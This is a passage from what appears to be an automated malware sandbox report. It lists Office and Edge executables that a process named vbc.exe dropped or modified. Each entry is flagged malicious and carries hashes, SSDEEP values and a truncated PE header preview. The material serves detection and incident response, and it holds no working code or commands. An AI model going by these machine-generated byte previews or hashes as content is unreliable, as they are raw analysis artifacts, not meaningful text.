Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._...........I.....................................................................%...........Rich...........PE..L....[.d............... .F...P......`?.......`....@.....................................................................................$...........................P}..8....................i......`d..@............`......4o.......................text....E.......F.................. ..`.rdata.......`... ...J..............@..@.data................j..............@....c2r.....................................rsrc...$...........................@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1522688
Entropy (8bit):	5.323792509385658
Encrypted:	false
SSDEEP:	24576:+yAAWSS2H8mRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:+IUM8mRVlbnXf9gPTTW7H1GXC
MD5:	37312C05B8CCA110955CAA8CDE1CC850
SHA1:	7CC534E9DB89E3D8D9F86EE332BE9513BEFEC546
SHA-256:	3349090B19FA20FE98BC33DB7FD1BB0E7DCB4E33E26646575784A386517B22FB
SHA-512:	9659F2EB3280C248E6E189CFE6DAE44EBD1944AE66DEB334D8CC028E7791EC1538888A5624BDEA58A7B81A74C4AA4FEEE882D1A6D70AEF0158289B55FC7FC808
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............f.@.f.@.f.@...@.f.@...A.f.@...A.f.@...A.f.@...A.f.@...A.f.@...A.f.@.f.@.d.@...A.f.@...ASf.@..z@.f.@.f.@.f.@...A.f.@Rich.f.@................PE..L......e............... .........................@.................................!...................................................,T..............................8...................Hj..........@...................D...`....................text...u........................... ..`.rdata..0...........................@..@.data...............................@....c2r.................d...................rsrc...,T.......V...f..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1293824
Entropy (8bit):	5.208221080622871
Encrypted:	false
SSDEEP:	24576:sDpRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:mRVlbnXf9gPTTW7H1GXC
MD5:	EC0884FCCB6B8FEB0016A28A3DA07F90
SHA1:	3B46B79204DA02C1FEA51122F6876D224CEB3536
SHA-256:	1BF6606CD7B39952773ECCF162F2E57F30DFDA6A1C637688C073E1EE9453DBDB
SHA-512:	07E948D11C5ED617D743505B0D8DC7DA51EFC2B58354C6D6C8049E730E810D4919DDF8C5F9972EA3942D0BC99B0AC48A4EBB8FAAA4B63B13008898785E0505DC
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^.U.^.U.^.U.&rU.^.U.$.T.^.U.$.T.^.U.$.T.^.U2,.T.^.U2,.T.^.U.^.U.\.U.$.T.^.U.$.T.^.U.$.T.^.U.$.U.^.U.^vU.^.U.$.T.^.URich.^.U........................PE..L......e............... ............&q............@..........................................................................p..,.......`...........................(...8...............................@............................................text............................... ..`.rdata..\|o.......p..................@..@.data....T.......R..................@....c2r....T....p.......L...................rsrc...`............N..............@..@.reloc...p.......`...^..............@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1147904
Entropy (8bit):	5.031767225872832
Encrypted:	false
SSDEEP:	12288:s0TKGVlM41NTnXENcMduaD3aawgPwCnQ3MHv8CI4OJ1bbPHHcFb+KKqCGNpcyop/:LRVldlnXfH9gPwCn7vOb7HHcp/CGXQp
MD5:	F127162608410574D7451CA54048A5AB
SHA1:	6C4F15EDC895470A4D282A7A8B03A8BB6C30B865
SHA-256:	6E488FACEBA08F83A49269BC9843C2AB7A168FB46CE95548FC2225331C62DE3B
SHA-512:	967125DD46F296619D8D80E3644F8575D0E4E85A8D8CFAC8808773C0A662E3E7DB38FCBC12A1AE3803069F9B6072002E841A37631567788958A52F8654EFB399
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T{..T{..T{..].!.D{..4...P{..4...M{..4...X{..4...Q{.....Q{..T{..0{..1...W{..1...S{..1.M.U{..1...U{..RichT{..........................PE..L....[.d............... ."...(......x........@....@.................................b........................................I.......p...............................R..8............................A..@............@..T....H..`....................text...? .......".................. ..`.rdata..(....@.......&..............@..@.data...<....`.......<..............@....rsrc........p.......>..............@..@.reloc...P.......@...D..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1418752
Entropy (8bit):	5.390652529519541
Encrypted:	false
SSDEEP:	24576:mAZHHrLZF/FRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:mePZFFRVlbnXf9gPTTW7H1GXC
MD5:	29FC1330AB04BC87D4FE7ECB52FDA422
SHA1:	F39119A05F88807046E8D2B8D833CCA5E46B6718
SHA-256:	0DBF93CC84D9978F0A701932301C21ACE06799AB9E04E37F390E5B7C136643EB
SHA-512:	B3D17D9E70A81F7E5C4A197B72A45FCC80FB802DB162F9E2D0EA6643B5D1268E874E7D2271493763CB98B86FBF885F00B655CB8CCD65CF74065E6BF8FEADC669
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!.e...e...e.......n..............I.......w.......p.......d.......r.......n...e...........{.......d...e.F.d.......d...Riche...........................PE..L....;.d............... .....X......q........0....@..................................n..........................................x.... ...a..............................8..............................@............0..p.......`....................text............................... ..`.rdata......0......................@..@.data....,..........................@....rsrc....a... ...b..................@..@.reloc...p.......`...F..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	53721600
Entropy (8bit):	6.543240446686072
Encrypted:	false
SSDEEP:	1572864:zNVpTyR96CwKImp81ujlSHFsQ4adtZp20wfP+9HgoZRZa:zQ9lw68HSq
MD5:	5FC3D16BE5FE979C92C6F2F627E0B2B2
SHA1:	A081AB22B96D5E9579B1252126F6F367CD6ED7F7
SHA-256:	E225BF1AFCF995C9E07A2ED5C4B05543E105541176BE6291C54540770D15C5C7
SHA-512:	A60B645433364A865225CCDE718614875EC491F751973DB3B24DFACFDE536B0B4143001225CF340E1FD8DEB8D95F70C92FB370D94FB87A8F0B2483483B2C7C5F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......X.mj.r.9.r.9.r.9...9.r.9\|..8.r.9\|..8;r.9\|..8.r.9\|..8.r.9...8.r.9...8.r.9...8.r.9.r.9Gm.9y..8.r.9y..8.r.9y..8.o.9y..8.r.9y..9.r.9.r.9.r.9y..8.r.9Rich.r.9........PE..L......e..........".... .._.........y........@f...@.......................... 5.....~.4.................................[.......h......$DW.........................,q..8...................(.q...... `.@.............`.....d........................text...,._......._................. ..`.rdata...bM...`..dM..._.............@..@.data................\..............@....detourc.............p..............@..@.c2r.....................................rsrc...$DW.....FW.................@..@.reloc....$.. ....#.................@...........................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	40811520
Entropy (8bit):	6.461354152046433
Encrypted:	false
SSDEEP:	786432:FbuMdv8TOUI/JgcnYblPv+msZPH53u5LBsk/Q4YbFuceo4h5ayMI5aH:FyM8TOtIlPv+msZPH1u5WkID5uceo4qY
MD5:	13DC1F47AFD3762A1C68F343C12BF590
SHA1:	2411DD7CE29E074658001F97B4843487626BC130
SHA-256:	D623649E61EE3FDEEB430C1729D553A6E5D7EA013DACB9F769EB91FA3E7485DB
SHA-512:	D8B7E735B425D178F10F6AA0760CAA390C2989D763B8AC44A6CD28A6ED25A02282FF4F6D96406C576E31B9BC404DE3C6ABDAFCEC7A1AD3ED6032C8723E6FAA2A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........j............sI.....q......q......q......q.....Jy.....Jy.....Jy.............q......q......q......q......q%.....M.....q.....Rich....................PE..L......e............... ............h.......`....@...........................o.......o.............................4...^....P..T....`...]>.............................8........................... 5..@............ ..l............................text...P........................... ..`.rdata..8.;.. ....;.................@..@.data....<.......0..................@....detourc.....0......................@..@.c2r....\|....P...........................rsrc....]>..`...^>.................@..@.reloc...P....S..@...\|S.............@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1657344
Entropy (8bit):	5.6302356734494
Encrypted:	false
SSDEEP:	24576:fE8DMeflpnIOvYUIRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:ftDD9pnIOCRVlbnXf9gPTTW7H1GXC
MD5:	ED060808D2831E012B90A99D2928E0CC
SHA1:	1153F5A3A7B2FA53077BA680285D7FC434A139A6
SHA-256:	6391062C71239E7E2AAC22B0E73D583466AE1BE157306FB68A710C17B08E093A
SHA-512:	A46AFD05DB81FEB962DF59E9963BE996AB820D99670425C41CCEC87A1EC060384DAC38EB6A85E40704C40CD8825510F147CA2597565B4C965889C675B9BB82A9
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........J......@!.........@......................................... .............................................................X........F......................T.......................(...P...@...........@...`............................text............................... ..`.rdata..8...........................@..@.data...XL....... ...d..............@....pdata...F.......H..................@..@.00cfg..8.... ......................@..@.gxfg....*...0...,..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc...P.......@..................@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4364800
Entropy (8bit):	6.746889610910518
Encrypted:	false
SSDEEP:	98304:jHzorVmr2ZkRpdJYol5RVlbnP9WXW7H6C:IiRp7xl5HBVH
MD5:	54BF989547096F5ECF5FFE703C9BE09F
SHA1:	C3B0ABD00E503AAABFB1F35A48238265E4A78F2E
SHA-256:	99580800B5ECBA06F8FF031E455F39AA75C58AF7331A1A7DB259CAEC3126ED32
SHA-512:	446699795D91ED71A16ECAC1D3D7EB3404BE62C4B5159A927EC5AF1D4F8CD010A54C8807BEB5627A7E43860D411E8B649D25EE1181C193BC8F1AE53C6B53D9ED
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......'..".......K.........@.............................PD......C... .....................................................P.... 4.......2..Q..................to..8...................`j..(.....'.@...........0.......`........................text...'.'.......'................. ..`.rdata...A....'..B....'.............@..@.data........./......./.............@....pdata...Q....2..R....0.............@..@.00cfg..0....p3......42.............@..@.gxfg....2....3..4...62.............@..@.retplne......3......j2..................tls..........3......l2.............@...LZMADEC.......3......p2............. ..`_RDATA..\.....4.......2.............@..@malloc_h......4.......2............. ..`.rsrc........ 4.......2.............@..@.reloc... ...0;.......9.............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1238528
Entropy (8bit):	5.139881155630218
Encrypted:	false
SSDEEP:	24576:hEyTSRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:GymRVlbnXf9gPTTW7H1GXC
MD5:	70A1CF267F63DBFF49302547FEB246D6
SHA1:	98C57C1645B14C0D336B211E2EC540B1637024B6
SHA-256:	22C0DFBDA0E0E08419550CC093EE4933EABD6321C970929C5CB7490DBA7B9803
SHA-512:	7E6AA011237EA939DF6E63AAA45EF234E45FCA822DBFEDA6E4FE02643CD882DB4BFCA7C2E7EE8F12E115D170A506359A80D89DED6F77C3C993479A1AA241ECC1
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."............................@.............................P............ ..................................................]..(....................................W..T...............................@............`..X............................text............................... ..`.rdata..,...........................@..@.data...0............j..............@....pdata...............v..............@..@.00cfg..8...........................@..@.gxfg...P...........................@..@.retplne................................_RDATA..\...........................@..@.rsrc...............................@..@.reloc...P.......@..................@...........................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2354176
Entropy (8bit):	7.049993709502122
Encrypted:	false
SSDEEP:	49152:chDdVrQ95RW0YEHyWQXE/09Val0GHDmg27RnWGj:chHYW+HyWKMD527BWG
MD5:	D2EAE0B17D8ED7CE90F29615B714FC9B
SHA1:	2473D69492CBF264D9FAF7FEC3615437185B50BF
SHA-256:	1561C66499E719E475C17B802513F83D7AC71E07014CC4742083C10CF7DD195C
SHA-512:	B1D483A5D9DC35BC342B5691CD78660514B546DF35871A8A2764954198F05055F47C10455853959DA665A39CD41C5E968E426FFAD630A2B5389BCA02AAC517EC
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......2...........b.........@.............................`%.....d.$... .........................................p%......>).......@..................................8.......................(....c..@........... 0..P............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...4...........................@....pdata..............................@..@.00cfg..0...........................@..@.gxfg............0..................@..@.retplne.................................tls....!...........................@..._RDATA..\.... ......................@..@malloc_h.....0...................... ..`.rsrc........@......................@..@.reloc.......`......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1825280
Entropy (8bit):	7.155296395967679
Encrypted:	false
SSDEEP:	49152:80EzQSyRPRoc1XRVlbnXf9gPTTW7H1GXC:7jRPRTRVlbnP9WXW7H6C
MD5:	6DACCC8E081640B3D66D374B55531892
SHA1:	700E0F6F1BFDE1B7D1FF84BBCBE7301A79AB3E7F
SHA-256:	7530FEEE2DB54C12CFAC7C713B2594EF85E53B2007C7F410E85F4CD0E6CF779D
SHA-512:	41098C93356C99B300B235FCE364CCB10F73619162551022E13C54A9F384F7EFB6F104D53EB4D45C648BE1DADFCE362FAC4E9D47833CA88C9460CBCF5C9897BE
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........v.......k.........@.............................0......vK.... ..........................................u......ly....... ..........,....................d..T...................hc..(.......@...........@... ............................text............................... ..`.rdata.............................@..@.data........@......."..............@....pdata..,...........................@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne.................................tls................................@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc........ ......................@..@.reloc.......0......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.1422350184334285
Encrypted:	false
SSDEEP:	49152:qD2VmAyiwIb8boQ7RVlbnXf9gPTTW7H1GXC:a2V7wIbyRVlbnP9WXW7H6C
MD5:	275436DDF0002857653D4F4DEDC8EB4E
SHA1:	50F66AED8711CF3A146350BB2839D5BA78ECC1B6
SHA-256:	1527D06A5BC860F2A517C1B2B760E7864925C46AED7287075C72C985283815EF
SHA-512:	D50472BC7F33FB3BADCEE14C6BA9EBF53ADAA75EE178BAF9A36A2FBF2175821C98C48B2C2DA81546FDBC9FC06A3916C928DD21135B5D5FE00A3E70AF7B35D227
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p............ .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2853376
Entropy (8bit):	6.948665349881427
Encrypted:	false
SSDEEP:	49152:ZfD3zO9ZhBGloizM3HRNr00TRVlbnXf9gPTTW7H1GXC:NDaalxzM00TRVlbnP9WXW7H6C
MD5:	5CE615DD5B30E969B9907ED6FDAC132D
SHA1:	227752FEC8AC78F656CE4272E3D64B974FD290A9
SHA-256:	713A530E31B69D16E51433CE725B943E841F1FC8E522DC2A3E46C17231FD20DC
SHA-512:	7571B6F30E831FE8B23493AAFCCA8DE5E965DD3C3EA5CBB7B01079A5DBDFF92D8248EE29E0A135F4F82B260A2B2DC2BEF7E77A94ED154CE0825D6FFF47DDB60A
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......l...2......@..........@..............................-......J,... .................................................h.........!.. ...P ........................8......................(...P...@...............x............................text....k.......l.................. ..`.rdata...............p..............@..@.data...T....p.......^..............@....pdata.......P ......d..............@..@.00cfg..0.... !......* .............@..@.gxfg...P1...0!..2..., .............@..@.retplne.....p!......^ ..................tls..........!......` .............@...LZMADEC.......!......b ............. ..`_RDATA..\.....!......t .............@..@malloc_h......!......v ............. ..`.rsrc.... ....!.."...x .............@..@.reloc........$.......".............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4320256
Entropy (8bit):	6.823109886706186
Encrypted:	false
SSDEEP:	98304:FI72LvkrDpbxJRoIMLRVlbnP9WXW7H6C:FI7nbihHBVH
MD5:	0FBDAB6DAC4FA1B63D521DF1414E4133
SHA1:	B32DABDB05A491CD6B3AC34879A5A3688138B735
SHA-256:	BAE57D15E9522253EC3B942CC4660C0BC21B9585033EF726F530391BD2A99A8B
SHA-512:	803776223D566A1D9627CDF7E86BE5EACEB22284320F5DDE7F7368DEFCBC6FAA2E6BB37636224FA2AE571D42213052F1573B7D6AC9B5D79A626F7180DB212B64
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......,......... k.........@..............................C.....=*B... ..........................................'3......+3.P.....8.x....P6..e..................h.2.T.....................2.(...P"-.@............43.......3. ....................text...E.,.......,................. ..`.rdata..4#....-..$....,.............@..@.data........@4.......4.............@....pdata...e...P6..f...45.............@..@.00cfg..0.....7.......6.............@..@.gxfg...@4....7..6....6.............@..@.retplne......8.......6..................tls....-.... 8.......6.............@...CPADinfo8....08.......6.............@...LZMADEC......@8.......6............. ..`_RDATA..\....`8.......6.............@..@malloc_h.....p8.......6............. ..`.rsrc...x.....8.......6.............@..@.reloc... ...p:.......8.............@...........................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2062336
Entropy (8bit):	7.094403187077111
Encrypted:	false
SSDEEP:	49152:MWnm5iOMkjmQWkVbRVlbnXf9gPTTW7H1GXC:DsMkjRVlbnP9WXW7H6C
MD5:	8CE5733E26180EE59EE5B42B6CEAC54C
SHA1:	51B50504C07A4DC4E611CF50E1B2898E60B44FCC
SHA-256:	62E93DD8DC62586BBF31076BBE9DA7CA69D47E002F0ABCCFC7AD90B54ED45469
SHA-512:	9D34B75CD34A61E67DAED3ECBBB5BC9B0563A82F3A4322EB071A47B0D2EBBF0FCC01B635ED67E2C9455991A2DE04B1E9C34FB0554FA1B77455BC15FA2703A5E7
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......h...4......P..........@.............................. ........... .................................................Z...................H......................8.......................(...`...@...........(...@............................text....g.......h.................. ..`.rdata...).......*...l..............@..@.data...............................@....pdata..H...........................@..@.00cfg..0....P.......H..............@..@.gxfg...p-...`.......J..............@..@.retplne.............x...................tls.................z..............@...CPADinfo8............\|..............@..._RDATA..\............~..............@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.163082305650498
Encrypted:	false
SSDEEP:	49152:4wNPdQO7BJTfmEQRVlbnXf9gPTTW7H1GXC:fOO7Pm7RVlbnP9WXW7H6C
MD5:	BD44E99F0421C75E87FA097C692B9794
SHA1:	F58FB04AAD9E56A6CEEA2AE229D6207406F625ED
SHA-256:	A14A16AF2463F7196FF2772C7DFDDFA33E4840AF9CE3D56563BE7CF3114F4F91
SHA-512:	9F13BD5FEC77475AC9E47C5A46E58CBEA07FD6D41E6CACE73B858CD5CFFC02127D4D0F2F64A03E593766E2D04718D9D3E1E43F9153C81E99E8E1640744A974CC
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@.......................................... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1847808
Entropy (8bit):	7.142227376090218
Encrypted:	false
SSDEEP:	49152:iD2VmAyiwIb8boQ7RVlbnXf9gPTTW7H1GXC:i2V7wIbyRVlbnP9WXW7H6C
MD5:	816164B1FD43DE7CBB52E3CC95549E52
SHA1:	2228C52CA72C024293B2402D5C095DA5758DD6C0
SHA-256:	2CB9C9BD9816CE7A8CDD2199E64FA435D37238D654B2CE4B04D76EA379E6E3B9
SHA-512:	F6F622D7C4EB974B4D36712F35733D30D9F3FD8876F65D652139AE2328A4DC7568E2F9EA83F7E88EDD365F48B2467B778717759757E6FC242A1900F3D20F51D8
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..................p.........@.............................p....... .... .........................................2...........d....`..8....P..........................8......................(.......@...............X...(........................text...4........................... ..`.rdata..\|...........................@..@.data................r..............@....pdata.......P.......n..............@..@.00cfg..0...........................@..@.gxfg....,..........................@..@.retplne..... ...........................tls.........0.......0..............@..._RDATA..\....@.......2..............@..@malloc_h.....P.......4.............. ..`.rsrc...8....`.......6..............@..@.reloc.......p.......B..............@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1801216
Entropy (8bit):	7.16308845381576
Encrypted:	false
SSDEEP:	49152:AwNPdQO7BJTfmEQRVlbnXf9gPTTW7H1GXC:XOO7Pm7RVlbnP9WXW7H6C
MD5:	9B0892FE831FC6F5FDDF1F0E85C0D6A5
SHA1:	DCF71861ADD9E38F1B6D9164DB1C8E54AE91676A
SHA-256:	4F901E9D9D201508CF1292361B427CDEF4CF2B59B99FFF380961C5177377BD79
SHA-512:	C917694D9BD8D18360B598FA638314EBD4DD400ADD32432E85312F1F59A336B0AE85212D3019878FE008368280911D262595ADBAE4990D0D1C8BD210CED3BCC9
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".........r......P..........@.......................................... .........................................C...........................T.......................T.......................(....R..@............"..8.......`....................text....(......................... ..`.rdata.......@......................@..@.data...@...........................@....pdata..T...........................@..@.00cfg..0....@.......N..............@..@.gxfg....,...P...,...P..............@..@.retplne.............\|...................tls.................~..............@..._RDATA..\...........................@..@malloc_h............................ ..`.rsrc...............................@..@.reloc..............................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1325568
Entropy (8bit):	5.133974544311414
Encrypted:	false
SSDEEP:	24576:t4lbht6BHERVldlnXfH9gPwCn7vOb7HHcp/CGXQp:OlNtqHERVlbnXf9gPTTW7H1GXC
MD5:	E073677CAC4AA71E2F80CFC741C7AF98
SHA1:	81149CDE7AF58CA5458ABC9318F311F3099BA664
SHA-256:	19C3A2FA0B98D998BC74309BBBE60A49042DCF071F4F04C57F8A206B0E41141F
SHA-512:	6F54076990DCAA1524F6D589A219F0F130319708F9A1A75A3D6D6D3974EC8D22F5AC5ED3E80A1A22D1FCB4F2EA4C2B089D9C14C0FC3F1E8AC648BE924DC7610C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.y.+c..+c..+c..?...!c..?....c..?...9c..I...:c..I...8c..I....c..?...c..?....c..+c..Xc......)c.....c..+c..\|c......*c..Rich+c..........................PE..L...B(.d.................^..........@........p....@..................................,......................................H...<........q..........................pu..p...........................X...@...............@....k..`....................text...`\.......^.................. ..`.data........p.......b..............@....idata...............l..............@..@.didat...............v..............@....rsrc....q.......r...x..............@..@.reloc...`...0...P..................@...........................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1221120
Entropy (8bit):	5.130783208253799
Encrypted:	false
SSDEEP:	24576:QIxkTBVQRVldlnXfH9gPwCn7vOb7HHcp/CGXQp:5xk1VQRVlbnXf9gPTTW7H1GXC
MD5:	7E3E271E175A55FA9C9242928CE46BDB
SHA1:	D82B7820F8A808D12830CBE2947F4911B09FFBC6
SHA-256:	49618736DDF25C67BBC5B91D4F676973DA6F6F232A1C247F80C6ECA3EB7D9C93
SHA-512:	3D14239EC8B61DE60F64C048056E2A74444E244E5A66690B77E46DE0DE3D98D996C9AC625D8FAA370FEE693528ECF016B8B59D9BEE004B09AC7009832217E017
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,.B...B...B...A...B...G...B...F...B...G...B...F...B...A...B...C...B...C..B...G...B......B......B...@...B.Rich..B.........................PE..L...8(.d..........................................@.................................\|.......................................x...(....`..X3..............................p...............................@.......................@....................text............................... ..`.rdata...`.......b..................@..@.data........0......................@....didat.......P......................@....rsrc...X3...`...4..................@..@.reloc...`.......P...R..............@...................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1335296
Entropy (8bit):	5.230540959114114
Encrypted:	false
SSDEEP:	24576:Ocssmr/RVldlnXfH9gPwCn7vOb7HHcp/CGXQp:vbuRVlbnXf9gPTTW7H1GXC
MD5:	036EEE183226BDBB4FF17DDE3671650B
